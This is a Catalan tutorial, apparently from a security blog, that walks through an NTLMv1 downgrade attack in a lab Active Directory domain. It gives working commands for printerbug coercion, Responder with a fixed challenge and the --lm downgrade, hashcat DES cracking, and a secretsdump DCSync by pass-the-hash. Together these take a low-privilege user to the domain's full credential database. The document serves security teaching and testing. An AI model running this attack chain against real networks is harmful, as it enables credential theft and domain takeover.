Atac de baixada de NTLMv1
Compartir
Rebaixes de NetNTLMv1
Com hem comentat en entrades anteriors després de forçar una autenticació i obtenir el hash NetNTLM de la contrasenya de l'usuari màquina de la víctima, se'ns presenten, principalment, tres escenaris diferents d'explotació, en aquest cas estarem parlat de:
- Rebaixes de NetNTLMv1
En aquest escenari, l'atacant aprofitarà l'ús del protocol d'autenticació NetNTLMv1 a la xarxa.
Per poder abusar del protocol d'autenticació esmentat, el servidor vulnerable a “Coerce Autentication” haurà de tenir configurat al registre la clau “LmCompatibilityLevel” i es troba amb un valor de 2 o menys.
Això es pot configurar habilitant l'enviament de respostes LM i NTLM a la política de grup anomenada “Seguretat de xarxa: nivell d'autenticació de LAN Manager”.
Resum
Tot seguit, s'explica a grans trets el procés d'explotació d'aquest atac:
- Obtenir una Resposta NetNTLMv1 del compte de màquina del controlador del domini forçant l'autenticació amb qualsevol vulnerabilitat de “Coerce Autentication”.
- Transformar el hash NetNTLMv1 obtingut a un format per poder ser craquejat en el mode DES.
- Crackejar les diferents parts del hash i obtenir les claus DES de cadascuna.
- Transformar les claus DES Obtingudes a format NTLM.
- Realitzar un DCSync per obtenir el NTDS mitjançant Pass The Hash fent ús del hash NTLM obtingut als passos anteriors.
Components del laboratori de proves
A continuació, descrivim breument els actius que es troben al laboratori de proves:
- Attack_Machine – Aquesta màquina fa referència a una Kali Linux des d'on farem l'atac per obtenir una “Coerce Autentication” i tenir a l'escolta el programari per obtenir el hash de l'usuari màquina en format NetNTLMv1.
- DC.corp.lab – Controlador de domini amb el domini “corp.lab” configurat, que serà víctima de l'atac. Es configurarà un usuari anomenat “Bob” en aquest domini sense privilegis per emular l'atac des del seu compromís. Aquest servidor tindrà aplicada la política de grup anomenada anteriorment.
Desenvolupament de l'atac
Obtenir una Resposta NetNTLMv1
Per començar l'atac, haurem de comprovar si el controlador de domini és vulnerable a algun dels atacs de “Coerce Autentication” explicats “ aquí ”. En aquest cas, l'explotació la realitzarem abusant de l'MS-RPC anomenat MS-RPRN mitjançant l'script Printer Bug .
S'haurà de comprovar que el DC té aquest MS-RPC habilitat mitjançant la següent ordre:
python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'
sudo nano /etc/responder/Responder.conf
SMB = activat
HTTP = activat
;Repte = Aleatori
Repte = 1122334455667788
Un cop editat el fitxer de configuració de respondre, s'haurà d'executar de la manera següent per posar-lo a l'escolta. El flag –lm força un downgrade en certes versions de Sistema Operatiu.
sudo responder -I eth0 -wv --lm
'python3 printerbug.py "CORP/bob:contrasenya" @dc.corp.lab attack_machine'
Després de forçar l'autenticació de l'usuari de la màquina del controlador de domini contra la màquina de l'atacant, s'obté el hash NetNTLMv1 d'aquest usuari.
Transformar el hash NetNTLMv1 obtingut a un format per poder ser craquejat
Tal com s'ha comentat, una vegada obtingut el hash NetNTLMv1 s'haurà de transformar a un format que es pugui cracejar en el mode DES. Per fer-ho, es farà ús de l'eina ntlmv1-multi , la qual proporcionarà els passos següents a seguir per al correcte craqueig del hash.
python3 ntlmv1.py --ntlmv1 'hash ntlmv1'
Com es pot observar a la captura de pantalla anterior, la pròpia eina mostra com calcular els 4 últims dígits del hash NTLM, i facilita, d'una banda, els hashes que s'han de cracquejar a format DES, així com l'ordre que s'ha d'executar .
Crackejar les diferents parts del hash i obtenir les claus DES de cadascuna
Per tant, el primer, s'executarà el càlcul dels darrers 4 dígits del hash NTLM de la següent manera fent ús d'una eina de hashcat :
/usr/lib/hashcat-utils/ct3_to_ntlm.bin "sortida obtinguda amb ntlmv1.py"
D'altra banda, es procedirà a crackejar a format DES els dos hashes proporcionats per l'eina ntlmv1-multi mitjançant l'eina de craqueig hashcat amb la següent ordre:
hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero amb hashs' ?1?1?1?1?1?1?1?1
NOTA: A les versions antigues de hashcat, es fa ús del “charset” DES_FULL.charset, a les versions actualitzades, es fa ús de DES_full.hcchr.
Després del procés de craqueig, s'obté les següents claus DES:
Transformar les claus DES Obtingudes a format NTLM:
Un cop obtingudes les dues claus DES, s'haurà de fer ús d'altres eines de hashcat la qual permetrà transformar aquestes claus al format NTLM.
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1'
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2'
Realitzar un DCSync per obtenir el NTDS mitjançant Pass The Hash :
Després d'obtenir totes les parts del hash NTLM de l'usuari màquina del controlador de domini, és possible realitzar un DCSync i obtenir el NTDS del domini mitjançant l'eina secretsdump.py d' impacket , fent un atac de Pass The Hash:
Python3 secretsdump.py -just-dc-ntlm -hashes 'hash_ntlm' 'corp.lab/dc$@dc.corp.lab''